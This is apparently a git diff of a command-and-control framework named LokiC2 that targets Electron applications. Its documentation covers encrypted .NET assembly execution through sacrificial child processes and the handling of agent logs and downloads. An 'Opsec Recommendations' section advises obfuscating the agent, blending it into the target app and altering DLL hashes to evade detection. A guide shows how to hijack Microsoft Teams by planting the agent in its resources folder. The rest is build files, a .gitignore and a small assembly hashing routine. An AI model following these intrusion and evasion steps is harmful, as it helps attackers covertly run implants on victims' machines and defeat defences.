- If this is prevented by app control, the agent will still call back. Since the Agent and Kernel live in different processes.
|
||||
- Assembly Execution / Fork-N-Run _(Windows Agents Only)_
|
||||
- Node module created by [Dylan Tran](https://x.com/d_tranman)
|
||||
- Based on [InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly) by [Shawn Jones](https://x.com/anthemtotheego)
|
||||
- Assembly is AES encrypted, uploaded to a blob, downloaded by the agent, sent to a new process where it is decrypted and executed.
|
||||
- Command output is sent via IPC from the assembly process --> Kernel --> Agent --> Client.
|
||||
- After assembly execution the sacraficial child process dies (fork-and-run)
|
||||
- Loads in `assembly.node` module into a sacraficial Renderer child process
|
||||
- This requires a DLL load event of an unsigned DLL `assembly.node`
|
||||
@@ -0,0 +1,24 @@
|
||||
# Client Features
|
||||
- Logging
|
||||
- All commands executed on an agent are saved locally to `/log/`.
|
||||
- Click `Agent Logs` from the top drop down menu to open the `/log/` directory in your file explorer.
|
||||
- Downloads
|
||||
- All files downloaded from an agent are saved locally to `/downloads/`.
|
||||
- Click `Downloads` from the top drop down menu to open the `/downloads/` directory in your file explorer.
|
||||
- Configuration Modification via GUI
|
||||
- After getting your Azure Storage Account setup you need to modify `config.js` in both the client & agent.
|
||||
- To do this from the GUI click `Configuration` from the top drop down menu, then enter in your storage account name and SAS token.
|
||||
- Tab Completion
|
||||
- When in the agent terminal window, there is tab completion for the available commands.
|
||||
- Agent Help Menu
|
||||
- Enter `help` in an agent terminal to list all the commands with descriptions.
|
||||
- Enter `help [command]` for more details and examples for the specific command.
|
||||
- Remove Agent from Dashboard
|
||||
- Right-clicking an agent row in the dashboard will show a `remove` option.
|
||||
- Clicking this will:
|
||||
- Delete the agent row from the dashboard table.
|
||||
- Delete the tracking blob for the agents container in the metadata container.
|
||||
- Delete the agents container.
|
||||
- To kill C2 comms you need to use `exit-all` first in the agent terminal.
|
||||
- If you don't do this the agent will remake the containers and will pop back up in the dashboard.
|
||||
- If you don't do this the agent will remake the containers and will pop back up in the dashboard.
|
||||
|
After Width: | Height: | Size: 6.0 KiB |
|
After Width: | Height: | Size: 157 KiB |
|
After Width: | Height: | Size: 2.0 MiB |
|
After Width: | Height: | Size: 69 KiB |
@@ -0,0 +1,6 @@
|
||||
# Opsec Recommendations
|
||||
- Obfuscate the javascript files with an obfuscator
|
||||
- Blend LokiC2 javascript agent files with target Electron app
|
||||
- Use Node tools to package everything into an ASAR archive
|
||||
- Replace strings in `agent/packages.json` to match target Electron app
|
||||
- Recompile the node DLLs or modify them to change their hash
|
||||
@@ -0,0 +1,28 @@
|
||||
# Guide for Discovering Vulnerable Electron Applications
|
||||
- Download an Electron app. In this example I will be using Teams.
|
||||
- Find the app root folder, it will look something like this:
|
||||
```
|
||||
C:\Users\user\AppData\Local\Microsoft\Teams\current\
|
||||
│ chrome_100_percent.pak
|
||||
│ chrome_200_percent.pak
|
||||
│ ffmpeg.dll
|
||||
│ snapshot_blob.bin
|
||||
│ Squirrel.exe
|
||||
│ Teams.exe
|
||||
└───resources
|
||||
...
|
||||
```
|
||||
- In this case the root electron app directory is `C:\Users\user\AppData\Local\Microsoft\Teams\current\`
|
||||
- Copy `\current\` to somewhere like your Desktop at `C:\Users\user\Desktop\VulnHunt\current\`
|
||||
- Delete the contents of `\current\resources\*`
|
||||
- Now open up ProcMon and add these filters:
|
||||
- Process Name is `Teams.exe`
|
||||
- Path contains `C:\Users\user\Desktop\VulnHunt\current\resources\`
|
||||

|
||||
- Then in Procmon start capturing the events
|
||||
- We can see in the output that the Electron app first looks for the `app.asar`.
|
||||
- If that failed then it looks for the unpacked application at `\current\resources\app\packages.json`
|
||||
- If this happens then the Electron app is most likely vulnerable to Script Jacking.
|
||||
- To confirm copy the Loki Agent code in `/LokiC2/agent/*` to the `current\resources\app\` directory and click `Teams.exe` again.
|
||||

|
||||
|
||||
|
After Width: | Height: | Size: 29 KiB |
|
After Width: | Height: | Size: 303 KiB |
@@ -0,0 +1,8 @@
|
||||
# Node Addons
|
||||
These are examples of node addons for execution. Test scripts are provided but must have their paths configured to work. You should be able to open any project in Visual Studio and just build normally.
|
||||
|
||||
## Requirements
|
||||
* This uses Visual Studio Build Tools 2019 v143
|
||||
|
||||
## Other
|
||||
* Does not bypass WDAC since the `.node` is unsigned
|
||||
@@ -0,0 +1,2 @@
|
||||
# Building
|
||||
Open the solution or project file. Just right click and build and it should work.
|
||||
@@ -0,0 +1,19 @@
|
||||
Hasher1 proto
|
||||
|
||||
.code
|
||||
|
||||
Hasher1 proc
|
||||
xor rax, rax
|
||||
|
||||
h1loop:
|
||||
add al, [rdx]
|
||||
xor al, 0CCh
|
||||
rol rax, 6h
|
||||
inc rdx
|
||||
dec rcx
|
||||
test cl, cl
|
||||
jnz h1loop
|
||||
ret
|
||||
|
||||
Hasher1 endp
|
||||
end
|
||||
@@ -0,0 +1,400 @@
|
||||
## Ignore Visual Studio temporary files, build results, and
|
||||
## files generated by popular Visual Studio add-ons.
|
||||
##
|
||||
## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
|
||||
|
||||
# User-specific files
|
||||
*.rsuser
|
||||
*.suo
|
||||
*.user
|
||||
*.userosscache
|
||||
*.sln.docstates
|
||||
|
||||
# User-specific files (MonoDevelop/Xamarin Studio)
|
||||
*.userprefs
|
||||
|
||||
# Mono auto generated files
|
||||
mono_crash.*
|
||||
|
||||
# Build results
|
||||
[Dd]ebug/
|
||||
[Dd]ebugPublic/
|
||||
[Rr]elease/
|
||||
[Rr]eleases/
|
||||
x64/
|
||||
x86/
|
||||
[Ww][Ii][Nn]32/
|
||||
[Aa][Rr][Mm]/
|
||||
[Aa][Rr][Mm]64/
|
||||
bld/
|
||||
[Bb]in/
|
||||
[Oo]bj/
|
||||
[Ll]og/
|
||||
[Ll]ogs/
|
||||
|
||||
# Visual Studio 2015/2017 cache/options directory
|
||||
.vs/
|
||||
# Uncomment if you have tasks that create the project's static files in wwwroot
|
||||
#wwwroot/
|
||||
|
||||
# Visual Studio 2017 auto generated files
|
||||
Generated\ Files/
|
||||
|
||||
# MSTest test Results
|
||||
[Tt]est[Rr]esult*/
|
||||
[Bb]uild[Ll]og.*
|
||||
|
||||
# NUnit
|
||||
*.VisualState.xml
|
||||
TestResult.xml
|
||||
nunit-*.xml
|
||||
|
||||
# Build Results of an ATL Project
|
||||
[Dd]ebugPS/
|
||||
[Rr]eleasePS/
|
||||
dlldata.c
|
||||
|
||||
# Benchmark Results
|
||||
BenchmarkDotNet.Artifacts/
|
||||
|
||||
# .NET Core
|
||||
project.lock.json
|
||||
project.fragment.lock.json
|
||||
artifacts/
|
||||
|
||||
# ASP.NET Scaffolding
|
||||
ScaffoldingReadMe.txt
|
||||
|
||||
# StyleCop
|
||||
StyleCopReport.xml
|
||||
|
||||
# Files built by Visual Studio
|
||||
*_i.c
|
||||
*_p.c
|
||||
*_h.h
|
||||
*.ilk
|
||||
*.meta
|
||||
*.obj
|
||||
*.iobj
|
||||
*.pch
|
||||
*.pdb
|
||||
*.ipdb
|
||||
*.pgc
|
||||
*.pgd
|
||||
*.rsp
|
||||
# but not Directory.Build.rsp, as it configures directory-level build defaults
|
||||
!Directory.Build.rsp
|
||||
*.sbr
|
||||
*.tlb
|
||||
*.tli
|
||||
*.tlh
|
||||
*.tmp
|
||||
*.tmp_proj
|
||||
*_wpftmp.csproj
|
||||
*.log
|
||||
*.tlog
|
||||
*.vspscc
|
||||
*.vssscc
|
||||
.builds
|
||||
*.pidb
|
||||
*.svclog
|
||||
*.scc
|
||||
|
||||
# Chutzpah Test files
|
||||
_Chutzpah*
|
||||
|
||||
# Visual C++ cache files
|
||||
ipch/
|
||||
*.aps
|
||||
*.ncb
|
||||
*.opendb
|
||||
*.opensdf
|
||||
*.sdf
|
||||
*.cachefile
|
||||
*.VC.db
|
||||
*.VC.VC.opendb
|
||||
|
||||
# Visual Studio profiler
|
||||
*.psess
|
||||
*.vsp
|
||||
*.vspx
|
||||
*.sap
|
||||
|
||||
# Visual Studio Trace Files
|
||||
*.e2e
|
||||
|
||||
# TFS 2012 Local Workspace
|
||||
$tf/
|
||||
|
||||
# Guidance Automation Toolkit
|
||||
*.gpState
|
||||
|
||||
# ReSharper is a .NET coding add-in
|
||||
_ReSharper*/
|
||||
*.[Rr]e[Ss]harper
|
||||
*.DotSettings.user
|
||||
|
||||
# TeamCity is a build add-in
|
||||
_TeamCity*
|
||||
|
||||
# DotCover is a Code Coverage Tool
|
||||
*.dotCover
|
||||
|
||||
# AxoCover is a Code Coverage Tool
|
||||
.axoCover/*
|
||||
!.axoCover/settings.json
|
||||
|
||||
# Coverlet is a free, cross platform Code Coverage Tool
|
||||
coverage*.json
|
||||
coverage*.xml
|
||||
coverage*.info
|
||||
|
||||
# Visual Studio code coverage results
|
||||
*.coverage
|
||||
*.coveragexml
|
||||
|
||||
# NCrunch
|
||||
_NCrunch_*
|
||||
.*crunch*.local.xml
|
||||
nCrunchTemp_*
|
||||
|
||||
# MightyMoose
|
||||
*.mm.*
|
||||
AutoTest.Net/
|
||||
|
||||
# Web workbench (sass)
|
||||
.sass-cache/
|
||||
|
||||
# Installshield output folder
|
||||
[Ee]xpress/
|
||||
|
||||
# DocProject is a documentation generator add-in
|
||||
DocProject/buildhelp/
|
||||
DocProject/Help/*.HxT
|
||||
DocProject/Help/*.HxC
|
||||
DocProject/Help/*.hhc
|
||||
DocProject/Help/*.hhk
|
||||
DocProject/Help/*.hhp
|
||||
DocProject/Help/Html2
|
||||
DocProject/Help/html
|
||||
|
||||
# Click-Once directory
|
||||
publish/
|
||||
|
||||
# Publish Web Output
|
||||
*.[Pp]ublish.xml
|
||||
*.azurePubxml
|
||||
# Note: Comment the next line if you want to checkin your web deploy settings,
|
||||
# but database connection strings (with potential passwords) will be unencrypted
|
||||
*.pubxml
|
||||
*.publishproj
|
||||
|
||||
# Microsoft Azure Web App publish settings. Comment the next line if you want to
|
||||
# checkin your Azure Web App publish settings, but sensitive information contained
|
||||
# in these scripts will be unencrypted
|
||||
PublishScripts/
|
||||
|
||||
# NuGet Packages
|
||||
*.nupkg
|
||||
# NuGet Symbol Packages
|
||||
*.snupkg
|
||||
# The packages folder can be ignored because of Package Restore
|
||||
**/[Pp]ackages/*
|
||||
# except build/, which is used as an MSBuild target.
|
||||
!**/[Pp]ackages/build/
|
||||
# Uncomment if necessary however generally it will be regenerated when needed
|
||||
#!**/[Pp]ackages/repositories.config
|
||||
# NuGet v3's project.json files produces more ignorable files
|
||||
*.nuget.props
|
||||
*.nuget.targets
|
||||
|
||||
# Microsoft Azure Build Output
|
||||
csx/
|
||||
*.build.csdef
|
||||
|
||||
# Microsoft Azure Emulator
|
||||
ecf/
|
||||
rcf/
|
||||
|
||||
# Windows Store app package directories and files
|
||||
AppPackages/
|
||||
BundleArtifacts/
|
||||
Package.StoreAssociation.xml
|
||||
_pkginfo.txt
|
||||
*.appx
|
||||
*.appxbundle
|
||||
*.appxupload
|
||||
|
||||
# Visual Studio cache files
|
||||
# files ending in .cache can be ignored
|
||||
*.[Cc]ache
|
||||
# but keep track of directories ending in .cache
|
||||
!?*.[Cc]ache/
|
||||
|
||||
# Others
|
||||
ClientBin/
|
||||
~$*
|
||||
*~
|
||||
*.dbmdl
|
||||
*.dbproj.schemaview
|
||||
*.jfm
|
||||
*.pfx
|
||||
*.publishsettings
|
||||
orleans.codegen.cs
|
||||
|
||||
# Including strong name files can present a security risk
|
||||
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
|
||||
#*.snk
|
||||
|
||||
# Since there are multiple workflows, uncomment next line to ignore bower_components
|
||||
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
|
||||
#bower_components/
|
||||
|
||||
# RIA/Silverlight projects
|
||||
Generated_Code/
|
||||
|
||||
# Backup & report files from converting an old project file
|
||||
# to a newer Visual Studio version. Backup files are not needed,
|
||||
# because we have git ;-)
|
||||
_UpgradeReport_Files/
|
||||
Backup*/
|
||||
UpgradeLog*.XML
|
||||
UpgradeLog*.htm
|
||||
ServiceFabricBackup/
|
||||
*.rptproj.bak
|
||||
|
||||
# SQL Server files
|
||||
*.mdf
|
||||
*.ldf
|
||||
*.ndf
|
||||
|
||||
# Business Intelligence projects
|
||||
*.rdl.data
|
||||
*.bim.layout
|
||||
*.bim_*.settings
|
||||
*.rptproj.rsuser
|
||||
*- [Bb]ackup.rdl
|
||||
*- [Bb]ackup ([0-9]).rdl
|
||||
*- [Bb]ackup ([0-9][0-9]).rdl
|
||||
|
||||
# Microsoft Fakes
|
||||
FakesAssemblies/
|
||||
|
||||
# GhostDoc plugin setting file
|
||||
*.GhostDoc.xml
|
||||
|
||||
# Node.js Tools for Visual Studio
|
||||
.ntvs_analysis.dat
|
||||
node_modules/
|
||||
|
||||
# Visual Studio 6 build log
|
||||
*.plg
|
||||
|
||||
# Visual Studio 6 workspace options file
|
||||
*.opt
|
||||
|
||||
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
|
||||
*.vbw
|
||||
|
||||
# Visual Studio 6 auto-generated project file (contains which files were open etc.)
|
||||
*.vbp
|
||||
|
||||
# Visual Studio 6 workspace and project file (working project files containing files to include in project)
|
||||
*.dsw
|
||||
*.dsp
|
||||
|
||||
# Visual Studio 6 technical files
|
||||
*.ncb
|
||||
*.aps
|
||||
|
||||
# Visual Studio LightSwitch build output
|
||||
**/*.HTMLClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/ModelManifest.xml
|
||||
**/*.Server/GeneratedArtifacts
|
||||
**/*.Server/ModelManifest.xml
|
||||
_Pvt_Extensions
|
||||
|
||||
# Paket dependency manager
|
||||
.paket/paket.exe
|
||||
paket-files/
|
||||
|
||||
# FAKE - F# Make
|
||||
.fake/
|
||||
|
||||
# CodeRush personal settings
|
||||
.cr/personal
|
||||
|
||||
# Python Tools for Visual Studio (PTVS)
|
||||
__pycache__/
|
||||
*.pyc
|
||||
|
||||
# Cake - Uncomment if you are using it
|
||||
# tools/**
|
||||
# !tools/packages.config
|
||||
|
||||
# Tabs Studio
|
||||
*.tss
|
||||
|
||||
# Telerik's JustMock configuration file
|
||||
*.jmconfig
|
||||
|
||||
# BizTalk build output
|
||||
*.btp.cs
|
||||
*.btm.cs
|
||||
*.odx.cs
|
||||
*.xsd.cs
|
||||
|
||||
# OpenCover UI analysis results
|
||||
OpenCover/
|
||||
|
||||
# Azure Stream Analytics local run output
|
||||
ASALocalRun/
|
||||
|
||||
# MSBuild Binary and Structured Log
|
||||
*.binlog
|
||||
|
||||
# NVidia Nsight GPU debugger configuration file
|
||||
*.nvuser
|
||||
|
||||
# MFractors (Xamarin productivity tool) working folder
|
||||
.mfractor/
|
||||
|
||||
# Local History for Visual Studio
|
||||
.localhistory/
|
||||
|
||||
# Visual Studio History (VSHistory) files
|
||||
.vshistory/
|
||||
|
||||
# BeatPulse healthcheck temp database
|
||||
healthchecksdb
|
||||
|
||||
# Backup folder for Package Reference Convert tool in Visual Studio 2017
|
||||
MigrationBackup/
|
||||
|
||||
# Ionide (cross platform F# VS Code tools) working folder
|
||||
.ionide/
|
||||
|
||||
# Fody - auto-generated XML schema
|
||||
FodyWeavers.xsd
|
||||
|
||||
# VS Code files for those working on multiple tools
|
||||
.vscode/*
|
||||
!.vscode/settings.json
|
||||
!.vscode/tasks.json
|
||||
!.vscode/launch.json
|
||||
!.vscode/extensions.json
|
||||
*.code-workspace
|
||||
|
||||
# Local History for Visual Studio Code
|
||||
.history/
|
||||
|
||||
# Windows Installer files from build outputs
|
||||
*.cab
|
||||
*.msi
|
||||
*.msix
|
||||
*.msm
|
||||
*.msp
|
||||
|
||||
# JetBrains Rider
|
||||
*.sln.iml
|
||||
@@ -0,0 +1,151 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{D73C8BA5-F89A-0B61-50DF-D992377CA4BE}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>api</RootNamespace>
|
||||
<IgnoreWarnCompileDuplicatedFilename>true</IgnoreWarnCompileDuplicatedFilename>
|
||||
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
|
||||
<WindowsTargetPlatformVersion>10.0.22621.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Label="Locals">
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
<ImportGroup Label="ExtensionSettings" />
|
||||
<ImportGroup Label="PropertySheets">
|
||||
<Import Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup>
|
||||
<ExecutablePath>$(ExecutablePath);$(MSBuildProjectDirectory)\..\bin\;$(MSBuildProjectDirectory)\..\bin\</ExecutablePath>
|
||||
<IgnoreImportLibrary>true</IgnoreImportLibrary>
|
||||
<IntDir>$(Configuration)\obj\$(ProjectName)\</IntDir>
|
||||
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</LinkIncremental>
|
||||
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</LinkIncremental>
|
||||
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||
<TargetExt Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">.node</TargetExt>
|
||||
<TargetExt Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">.node</TargetExt>
|
||||
<TargetExt Condition="'$(Configuration)|$(Platform)'=='Release|x64'">.node</TargetExt>
|
||||
<TargetExt Condition="'$(Configuration)|$(Platform)'=='Release|x64'">.node</TargetExt>
|
||||
<TargetName>$(ProjectName)</TargetName>
|
||||
<TargetPath>$(OutDir)\$(ProjectName).node</TargetPath>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<AdditionalIncludeDirectories>..\deps\include\node;..\node_modules\node-addon-api;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalOptions>/Zc:__cplusplus -std:c++17 %(AdditionalOptions)</AdditionalOptions>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<BufferSecurityCheck>true</BufferSecurityCheck>
|
||||
<DebugInformationFormat>OldStyle</DebugInformationFormat>
|
||||
<DisableSpecificWarnings>4351;4355;4800;4251;4275;4244;4267;%(DisableSpecificWarnings)</DisableSpecificWarnings>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<MinimalRebuild>false</MinimalRebuild>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<OmitFramePointers>false</OmitFramePointers>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PreprocessorDefinitions>NODE_GYP_MODULE_NAME=api;USING_UV_SHARED=1;USING_V8_SHARED=1;V8_DEPRECATION_WARNINGS=1;_GLIBCXX_USE_CXX11_ABI=1;WIN32;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;_HAS_EXCEPTIONS=0;OPENSSL_NO_PINSHARED;OPENSSL_THREADS;NAPI_VERSION=4;NAPI_CPP_EXCEPTIONS=1;BUILDING_NODE_EXTENSION;HOST_BINARY="node.exe";DEBUG;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<StringPooling>true</StringPooling>
|
||||
<SuppressStartupBanner>true</SuppressStartupBanner>
|
||||
<TreatWarningAsError>false</TreatWarningAsError>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
</ClCompile>
|
||||
<Lib>
|
||||
<AdditionalOptions>/LTCG:INCREMENTAL %(AdditionalOptions)</AdditionalOptions>
|
||||
</Lib>
|
||||
<Link>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;DelayImp.lib;"..\\deps\\node.lib"</AdditionalDependencies>
|
||||
<AdditionalOptions>/LTCG:INCREMENTAL /ignore:4199 %(AdditionalOptions)</AdditionalOptions>
|
||||
<DelayLoadDLLs>node.exe;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<OutputFile>$(OutDir)$(ProjectName).node</OutputFile>
|
||||
<SuppressStartupBanner>true</SuppressStartupBanner>
|
||||
<TargetExt>.node</TargetExt>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
</Link>
|
||||
<ResourceCompile>
|
||||
<AdditionalIncludeDirectories>..\deps\include\node;..\node_modules\node-addon-api;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>NODE_GYP_MODULE_NAME=api;USING_UV_SHARED=1;USING_V8_SHARED=1;V8_DEPRECATION_WARNINGS=1;_GLIBCXX_USE_CXX11_ABI=1;WIN32;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;_HAS_EXCEPTIONS=0;OPENSSL_NO_PINSHARED;OPENSSL_THREADS;NAPI_VERSION=4;NAPI_CPP_EXCEPTIONS=1;BUILDING_NODE_EXTENSION;HOST_BINARY="node.exe";DEBUG;_DEBUG;%(PreprocessorDefinitions);%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<AdditionalIncludeDirectories>..\deps\include\node;..\node_modules\node-addon-api;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalOptions>/Zc:__cplusplus -std:c++17 %(AdditionalOptions)</AdditionalOptions>
|
||||
<BufferSecurityCheck>true</BufferSecurityCheck>
|
||||
<DebugInformationFormat>OldStyle</DebugInformationFormat>
|
||||
<DisableSpecificWarnings>4351;4355;4800;4251;4275;4244;4267;%(DisableSpecificWarnings)</DisableSpecificWarnings>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<OmitFramePointers>true</OmitFramePointers>
|
||||
<Optimization>Full</Optimization>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<PreprocessorDefinitions>NODE_GYP_MODULE_NAME=api;USING_UV_SHARED=1;USING_V8_SHARED=1;V8_DEPRECATION_WARNINGS=1;_GLIBCXX_USE_CXX11_ABI=1;WIN32;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;_HAS_EXCEPTIONS=0;OPENSSL_NO_PINSHARED;OPENSSL_THREADS;NAPI_VERSION=4;NAPI_CPP_EXCEPTIONS=1;BUILDING_NODE_EXTENSION;HOST_BINARY="node.exe";%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<RuntimeTypeInfo>false</RuntimeTypeInfo>
|
||||
<StringPooling>true</StringPooling>
|
||||
<SuppressStartupBanner>true</SuppressStartupBanner>
|
||||
<TreatWarningAsError>false</TreatWarningAsError>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
</ClCompile>
|
||||
<Lib>
|
||||
<AdditionalOptions>/LTCG:INCREMENTAL %(AdditionalOptions)</AdditionalOptions>
|
||||
</Lib>
|
||||
<Link>
|
||||
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;DelayImp.lib;"..\\deps\\node.lib"</AdditionalDependencies>
|
||||
<AdditionalOptions>/LTCG:INCREMENTAL /ignore:4199 %(AdditionalOptions)</AdditionalOptions>
|
||||
<DelayLoadDLLs>node.exe;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<OutputFile>$(OutDir)$(ProjectName).node</OutputFile>
|
||||
<SuppressStartupBanner>true</SuppressStartupBanner>
|
||||
<TargetExt>.node</TargetExt>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
</Link>
|
||||
<ResourceCompile>
|
||||
<AdditionalIncludeDirectories>..\deps\include\node;..\node_modules\node-addon-api;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>NODE_GYP_MODULE_NAME=api;USING_UV_SHARED=1;USING_V8_SHARED=1;V8_DEPRECATION_WARNINGS=1;_GLIBCXX_USE_CXX11_ABI=1;WIN32;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;_HAS_EXCEPTIONS=0;OPENSSL_NO_PINSHARED;OPENSSL_THREADS;NAPI_VERSION=4;NAPI_CPP_EXCEPTIONS=1;BUILDING_NODE_EXTENSION;HOST_BINARY="node.exe";%(PreprocessorDefinitions);%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\test.cpp">
|
||||
<ObjectFileName>$(IntDir)\test.obj</ObjectFileName>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\deps\win_delay_load_hook.cc" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
<ImportGroup Label="ExtensionTargets" />
|
||||
<ItemGroup>
|
||||
<MASM Include="..\asm.asm" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\clr.h" />
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,34 @@
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2015
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "api", "api.vcxproj", "{D73C8BA5-F89A-0B61-50DF-D992377CA4BE}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{55D802F9-D935-C2E2-2A04-85FB92058904} = {55D802F9-D935-C2E2-2A04-85FB92058904}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "(node_modules)", "..\node_modules", "{9D350B9E-06FB-960D-859F-B43C9597383A}"
|
||||
EndProject
|
||||
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "(node-addon-api)", "..\node_modules\node-addon-api", "{AF891C37-E709-9CCC-0D50-0CCCC8CCC563}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Release|x64 = Release|x64
|
||||
Debug|x64 = Debug|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{55D802F9-D935-C2E2-2A04-85FB92058904}.Release|x64.ActiveCfg = Release|x64
|
||||
{55D802F9-D935-C2E2-2A04-85FB92058904}.Release|x64.Build.0 = Release|x64
|
||||
{55D802F9-D935-C2E2-2A04-85FB92058904}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{55D802F9-D935-C2E2-2A04-85FB92058904}.Debug|x64.Build.0 = Debug|x64
|
||||
{D73C8BA5-F89A-0B61-50DF-D992377CA4BE}.Release|x64.ActiveCfg = Release|x64
|
||||
{D73C8BA5-F89A-0B61-50DF-D992377CA4BE}.Release|x64.Build.0 = Release|x64
|
||||
{D73C8BA5-F89A-0B61-50DF-D992377CA4BE}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{D73C8BA5-F89A-0B61-50DF-D992377CA4BE}.Debug|x64.Build.0 = Debug|x64
|
